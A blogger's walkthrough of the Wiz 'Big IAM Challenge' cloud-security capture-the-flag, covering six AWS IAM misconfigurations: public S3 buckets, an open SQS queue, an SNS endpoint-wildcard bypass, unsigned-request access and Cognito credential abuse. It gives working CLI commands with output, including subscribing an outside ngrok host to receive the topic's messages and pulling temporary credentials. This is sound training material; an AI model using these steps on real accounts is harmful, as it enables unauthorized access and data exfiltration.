Website: https://bigiamchallenge.com/

A cloud security Capture The Flag (CTF) event. The mission? Identify and exploit AWS IAM misconfigurations, and learn from real-world scenarios.

Challenge 1

Buckets of Fun - We all know that public buckets are risky. But can you find the flag?

IAM Policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

The IAM policy is overly permissive and allows all users "Principal":"*" to perform the s3:GetObject, and s3:ListBucket actions. Using the AWS cli we can list the contents

> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/ --recursive
2023-06-05 19:13:53         37 files/flag1.txt
2023-06-08 19:18:24      81889 files/logo.png

next we can download the flag1.txt file and view the flag.

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag1.txt 
Completed 37 Bytes/37 Bytes (576 Bytes/s) with 1 file(s) remainingdownload: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ../../tmp/flag1.txt

> cat /tmp/flag1.txt
{wiz:exposed-storage-risky-as-usual}

or you can curl the s3 url

> curl https://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt
{wiz:exposed-storage-risky-as-usual}

or curl the other s3 url

curl https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/files/flag1.txt
{wiz:exposed-storage-risky-as-usual}

or use an sdk like boto3 for python

boto3

okay, moving on.

Challenge 2

Google Analytics We created our own analytics system specifically for this challenge. We think it’s so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag.

IAM Policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

Again, the IAM policy is overly permissive and allows all users "Principal": "*" to perform the actions "sqs:SendMessage", & "sqs:ReceiveMessage". SQS is AWS’s queue service (Simple Queue Service) used to send and receive messages.

Since we are able to perform the sqs:ReceiveMessage action, let’s see what returns.

First we have to convert the ARN from the IAM policy to a valid SQS queue URL.

SQS Queue URL

Next, we can use the AWS CLI to retrieve the message.

> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
    "Messages": [
        {
            "MessageId": "3a598f22-c1ff-45b4-970d-deaeecd4b319",
            "ReceiptHandle": "AQEBQTQb8jFInlLl+ccGbYmabmLLBTytBagaq5M+BYyzDxFTmg8oTvkMui8W+KUTPnFKF3kWaL2Gh2qxRV6yjHAZe+RcULNSTF6cBmrZdFW95ZEpWO092ypIEnBDFdKw34nVOptNqJqyT
Sn4AYQvOIP7qBnwZiJ6sUQkySlwfPH1EJUH4luRkj7LljlPT87Th2GdJmwIJUvFyrvlT2PlOlYEAyzcT1AWcbHEkuSsS56Nhz3eYQe9uBrJWU2b851TiIxcTLHRirwy1z5gzQWjwFNb71/snKS9oImuesIJdIm/weBAPtieuSmW
MzDwdb/G4u6wsCLtcu5ngR+3U2EuUNNyXDq+DlPx112vFSS+FDAVVuKJz85lnvDlhM0DOANJU1+xxux57NNBRztjJ7Ydr76ZwwYRoJ6urBPQ/Rs3aQRI6VE=",
            "MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
            "Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 S
SL-MM/1.4.3714\", \"IsAdmin\": true}"
        }
    ]
}

See the body contains JSON with a URL to an HTML page. If we follow that link, we find the second flag.

> curl https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
{wiz:you-are-at-the-front-of-the-queue}

Challenge 3

Enable Push Notifications

We got a message for you. Can you get it?

IAM Policy:

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

The IAM Policy allows all users to subscribe to the SNS topic TBICWizPushNotifications.

There is a condition…

"sns:Endpoint": "*@tbic.wiz.io"

After reading the SNS Subscribe documentation, I found that SNS accepts multiple protocols and not just the implied “email” based off of the IAM Policy condition.

Endpoint
The endpoint that you want to receive notifications. Endpoints vary by protocol:
For the http protocol, the (public) endpoint is a URL beginning with http://.
For the https protocol, the (public) endpoint is a URL beginning with https://.
For the email protocol, the endpoint is an email address.
...

So we can setup a public HTTP endpoint, pass the HTTP endpoint in the SNS Subscribe action, then receive the flag. Since the IAM policy does include a condition, *@tbic.wiz.io we can add @tbic.wiz.io as part of the endpoint and “bypass” the condition. Since there is no condition on the protocol, and the endpoint condition includes a wildcard this will allow us to subscribe at our public endpoint.

  1. Setup a public HTTP endoint. I prefer to use ngrok. ngrok

I am using Python’s simple HTTP server from this Github gist to log all GET/POST data.

  1. Next we need to subscribe our HTTP endpoint as the notification URL. Notice that the endpoint has “@tbic.wiz.io” at the end to bypass the condition in the IAM policy.
> aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint https://fe40-23-124-184-21.ngrok-free.app/@tbic.wiz.io
{
    "SubscriptionArn": "pending confirmation"
}
  1. SNS subscriptions require confirmation. Let’s check our server logs for a subscrition confirmation URL. confirm

  2. Visit the confirmation URL in the browser to confirm the subscription. confirm browser

  3. Lastly, we need to check the server logs again to see if we received the flag as a SNS notification message. flag

Note: Remember to unsubscribe by visiting the UnsubscribeURL.

I put the IAM policy into ChatGPT to see if it could find any security vulnerability/misconfiguration.

Prompt:

Is there a security vulnerability in this AWS IAM Policy ? 

{
    "Version": "2008-10-17",
...

Answer:

The IAM policy you provided grants permission for any AWS principal (denoted by "AWS": "*" in the Principal field) to perform the SNS:Subscribe action on the specified Amazon SNS topic (arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications). However, it restricts the subscription to endpoints that match the condition "sns:Endpoint": "*@tbic.wiz.io".

The policy seems well-constructed for its intended purpose, assuming that you only want subscriptions from endpoints that match the specified condition. It allows any AWS principal to subscribe, but they must use an endpoint that ends with "@tbic.wiz.io."

However, security depends on the broader context of your AWS environment and how this policy fits into your overall security model. Make sure that allowing any AWS principal to subscribe to this SNS topic is intentional, and that the condition on the endpoint meets your security requirements.

Always follow the principle of least privilege, granting only the permissions necessary for the intended tasks. Review and monitor your IAM policies regularly to ensure they align with your security policies and practices.

Prompt:

Is there a security misconfiguration in this AWS IAM Policy ? 

{
    "Version": "2008-10-17",
    "Id": "Statement1",
...

Answer:

The AWS Identity and Access Management (IAM) policy you provided seems to have a security misconfiguration. Specifically, the use of the wildcard (*) in the "Principal" section, which allows any AWS identity (authenticated or not) to perform the specified action (SNS:Subscribe) on the specified resource (arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications).

Here's the problematic part:
"Principal": {
    "AWS": "*"
},

By using "AWS": "*", you are granting the permission to any AWS identity, which is generally not recommended for security reasons. It's better to limit the access to specific AWS accounts or IAM roles.

If possible, you should replace the "AWS": "*" with the specific AWS account ID or ARN of the entities that are allowed to perform the SNS:Subscribe action on the specified SNS topic. This ensures that only the specified entities can subscribe to the topic, improving the security of your IAM policy.

For example:
"Principal": {
    "AWS": "arn:aws:iam::YOUR_ACCOUNT_ID:root"
},

Replace YOUR_ACCOUNT_ID with the actual AWS account ID that should be allowed to subscribe to the SNS topic.

So, partially correct. I am sure there are custom GPTs out there that do a much better job at analyzing IAM policies. I just thought this would be interesting.

Challenge 4

Admin only?

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

IAM Policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

This seems like a callback to Challenge 1 with the public bucket. After a bit of reading, I think I understand what is wrong with the IAM Policy. So warning, some of the next information may not be completely accurate.

In challenge 1 there was an explicit allow for the “*” Principal (All Users) on the s3:ListBucket action.

So the AWS cli command below would work:

# Challenge 1 
> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/ --recursive
2023-06-05 19:13:53         37 files/flag1.txt
2023-06-08 19:18:24      81889 files/logo.png

But in this challenge it does not work.

# Challenge 4
> aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --recursive
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Access was denied because in this IAM policy there are conditions. Specifically the ForAllValues:StringLike,aws:PrincipalArn has to be arn:aws:iam::133713371337:user/admin.

{
    "Effect": "Allow",
    "Principal": "*",
    "Action": "s3:ListBucket",
    "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
    "Condition": {
        "StringLike": {
            "s3:prefix": "files/*"
        },
        "ForAllValues:StringLike": {
            "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
        }
    }
}

At first glance, it appears that you cannot list out the bucket contents. After reading this blog post by Michael Kirchner, and this Tenable Cloud Security blog post about re:Inforce, it seems like the intended affect of ForAllValues is negated when combined with an Allow policy.

Essentially, when AWS is evaluating the request it will look at the authorization context for the key PrincipalArn. If the key is Null then the condition will evaluate to True because of Allow being set to *. Atleast that’s how I understood it.

Confusing. But to be fair AWS does warn you about combining ForAllValues with an Allow effect.

aws docs

So how do we list the bucket contents? By adding --no-sign-request to the AWS cli s3 ls call. According to the documentation, “credentials will not be loaded if this argument is provided”.

> aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --recursive --no-sign-request
2023-06-07 19:15:43         42 files/flag-as-admin.txt
2023-06-08 19:20:01      81889 files/logo-admin.png

and since the s3:GetObject action is allowed, we can now download and view the file contents.

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag-as-admin.txt && cat /tmp/flag-as-admin.txt
Completed 42 Bytes/42 Bytes (482 Bytes/s) with 1 file(s) remainingdownload: s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt to ../../tmp/flag-as-admi
n.txt
{wiz:principal-arn-is-not-what-you-think}

Challenge 5

Do I know you? We configured AWS Cognito as our main identity provider. Let’s hope we didn’t make any mistakes.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

I noticed that the GetObject and ListBucket actions for S3 resources were allowed but did not specify a principal. So how were those files fetched? The ListBucket action maps to the AWS S3 ListObjects API endpoint which we can use with the aws s3api list-objects command.

Expectedly, we get an AccessDenied error.

> aws s3 ls s3://wiz-privatefiles --recursive --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

I did notice that this challenge included an image which the other challenges did not. After inpecting the image element with the browser DevTools, I can see that the image is loaded from the S3 bucket listed in the IAM policy. But how?

cognito img

After viewing the page source, we can see the cognito configuration for the JS SDK. The Cognito JS SDK was being executed by the browser and on this line was retrieving temporary credentials for an unauthenticated user. So that explains how the image was being retrieved.

AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});

The SDK then creates an S3 client which gets the signed URL for the wiz-privatefiles bucket and cognito1.png key. Finally, the SDK updates the src attribute with the signed URL for the element with id “signedImg”.

  $(document).ready(function() {
    var s3 = new AWS.S3();
    params = {
      Bucket: 'wiz-privatefiles',
      Key: 'cognito1.png',
      Expires: 60 * 60
    }

    signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
      $('#signedImg').attr('src', url);

Aha! Now we have the identity pool ID. After a lot more googling, I found that there is a cognito-identity command for the AWS cli.

The get-id subcommand seemed like the next logical step forward.

Generates (or retrieves) a Cognito ID. Supplying multiple logins will create an implicit linked account.

This is a public API. You do not need any credentials to call this API.

> aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e8
0-f99d9c13da3b"
{
    "IdentityId": "us-east-1:157d6171-ee4a-c37d-d112-b659f3d4d799"
}

After we have the Identity ID we can call get-credentials-for-identity to get valid credentials.


> aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:157d6171-ee4a-c37d-d112-b659f3d4d799"
{
    "IdentityId": "us-east-1:157d6171-ee4a-c37d-d112-b659f3d4d799",
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXE66RZOWG",
        "SecretKey": "6KYCGyuLpuS5uU/A4u2cmjiGFb4PyqAUqHGOeXZK",
        "SessionToken": "IQoJb3JpZ2luX2VjENT...[TRUNCATED]",
        "Expiration": 1707109134.0
    }
}

And voila! We now have credentials through cognito. Let’s set up a profile for ease of use in subsequent calls.

aws configure
bruno@ubuntuvm:~$ aws s3 ls --profile bigiam s3://wiz-privatefiles/
2023-06-05 14:42:27       4220 cognito1.png
2023-06-05 08:28:35         37 flag1.txt
download: s3://wiz-privatefiles/flag1.txt to ./flag1.txt          
bruno@ubuntuvm:~$ cat flag1.txt 
{wiz:incognito-is-always-suspicious}

Don’t forget to configure the session token! This HackTricks Cloud blog explains this whole flow a bit better.

At the end of this I was confused. An IAM policy with no Principal? Where exactly is the vulnerability? Identity pools, user pools, more cognito lingo ? So back to the basics, reading up again on IAM policies I realized I was not looking at a resource-based policy like the previous challenges. This one was looking at an identity-based policy presumably attached to the cognito user role.

I found an article that explained everything in much greater detail.

Essentially, when Cognito was being set up for this challenge an Identity Pool was created to be able to access other AWS resources in the account. cognito idpool

From there “Guest Access” was chosen since no authentication details were provided. cognito guest

Then finally, the IAM policy from this challenge was attached to an IAM role. cognito iam

To verify that this is true we can use sts get-caller-identity on the Cognito credentials to verify what role they are attached to.

bruno@ubuntuvm:~$ aws sts --profile bigiam get-caller-identity
{
    "UserId": "AROARK7LBOHXJKAIRDRIU:CognitoIdentityCredentials",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessUnauth_Role/CognitoIdentityCredentials"
}

The role name is Cognito_s3accessUnauth_Role. That’s about as far as we can go to confirm our assumptions. Without access to perform the aws iam list-role-policies call there’s no way to truly confirm it. So the “vulnerability” here is that the IAM policy attached to the Cognito_s3accessUnauth_Role unauthenticated Cognito role is overly permissive and allows access to the whole wiz-privatefiles S3 bucket when they only really needed access to the public image.

Challenge 6

One final push Anonymous access no more. Let’s see what can you do now.

Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

IAM Policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

So first thoughts is that us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b is able to perform sts:AssumeRoleWithWebIdentity. b73cb2d2-0d00-4e77-8e80-f99d9c13da3b looked awfully familiar and after confirming, it is the Identity Pool ID from before.

Reading the assume-role-with-web-identity documentation shows that you need a web-identity-token to perform that call. Going back to the cognito-identity documentation, I saw the call for get-open-id-token. I assume web-identity-token and open-id-token are the same? From my web security background, I bet they’re all just JWTs. I don’t understand why the need for confusing lingo.

Anyways, reading the assume-role-with-web-identity documentation describes what that call does. “Returns a set of temporary security credentials for users who have been authenticated in a mobile or web application with a web identity provider”

But the IAM Policy is allowing that action for the identity pool ID of the unauthenticated cognito role? So theoretically this means that you can “authenticate” (receieve credentials from assume-role-with-web-identity) without authenticating ( be unauthenticated cognito role).

Time to test. First, as before we’ll call get-id to get an identity ID.

>  aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
{
    "IdentityId": "us-east-1:157d6171-eee1-c8f2-45be-6c2453ece47e"
}

After we have the Identity ID instead of calling get-credentials-for-identity to get valid credentials, we call get-open-id-token to get a JWT.

aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-eee1-c8f2-45be-6c2453ece47e
{
    "IdentityId": "us-east-1:157d6171-eee1-c8f2-45be-6c2453ece47e",
    "Token": "eyJraWQiOiJ1cy1lYXN0LTE1IiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVlMS1jOGYyLTQ1YmUtNmMyNDUzZWNlNDdlIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MDcxMTE5MDksImlhdCI6MTcwNzExMTMwOX0.ZVGbcYS7Im9xxFMqEZc1-I-Nd_xmOHyUz0n_xHjRuVf7RksuZsn3aDdMvi2mDJsqz5QCHHxa8dY5i20Nx_w7VO2_eCFCK0wsZ1MQlqXzxnu9kjCAFBIvgVu8lqtHUOTREYqduGmnvKc3UWKQLm5AJWC-MfGwxq-NfXDLNlbGmxJ5jWHsODBlHOrwJHH0SIdcWYz_z6i58N5Q85Q5y5rH5ydSaWCgiLKV4rUoa0P9tOPByc_TmdcR-kqEwp2omatnS89fLEeyrw5U__cphkfVR76z0iCe4TU-OzwktSoNntbIn3ZqpKhbtmaboFkixroQYR0cHSnw3xcnVtkBIcEQBw"
}

We can even verify that the audience claim is correct by putting the JWT into CyberChef. Note: Be careful where you put your real JWTs! Don’t copy and paste them into random sites!

jwt

This JWT now satisfies the condition in the IAM policy. Now we can call sts:AssumeRoleWithWebIdentity on the arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role role (given to us in the challenge description) and receive authenticated credentials.

> aws sts assume-role-with-web-identity --web-identity-token $TOKEN --role-session-name ayyy --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
{
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXNNBMPPGE",
        "SecretAccessKey": "TfU9y3wAKQzZKUixMR6or5fV0odwAGJTP6/ndw+/",
        "SessionToken": "IQoJb3JpZ2luX2VjENb//////////...[TRUNCATED]",
        "Expiration": "2024-02-05T06:42:57+00:00"
    },
    "SubjectFromWebIdentityToken": "us-east-1:157d6171-eee1-c8f2-45be-6c2453ece47e",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:ayyy",
        "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/ayyy"
    },
    "Provider": "cognito-identity.amazonaws.com",
    "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

List out S3 buckets

> aws s3 ls --profile bigiam
2023-06-04 12:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 08:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-04 11:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 08:28:31 wiz-privatefiles
2023-06-05 08:28:31 wiz-privatefiles-x1000
> aws s3 ls --profile bigiam wiz-privatefiles-x1000
2023-06-05 14:42:27       4220 cognito2.png
2023-06-05 08:28:35         40 flag2.txt
> aws s3 cp --profile bigiam s3://wiz-privatefiles-x1000/flag2.txt .
download: s3://wiz-privatefiles-x1000/flag2.txt to ./flag2.txt    
> cat flag2.txt 
{wiz:open-sesame-or-shell-i-say-openid}

And that’s it! Amazing CTF by Wiz. All the credit to the other blog posts I referenced. Cheers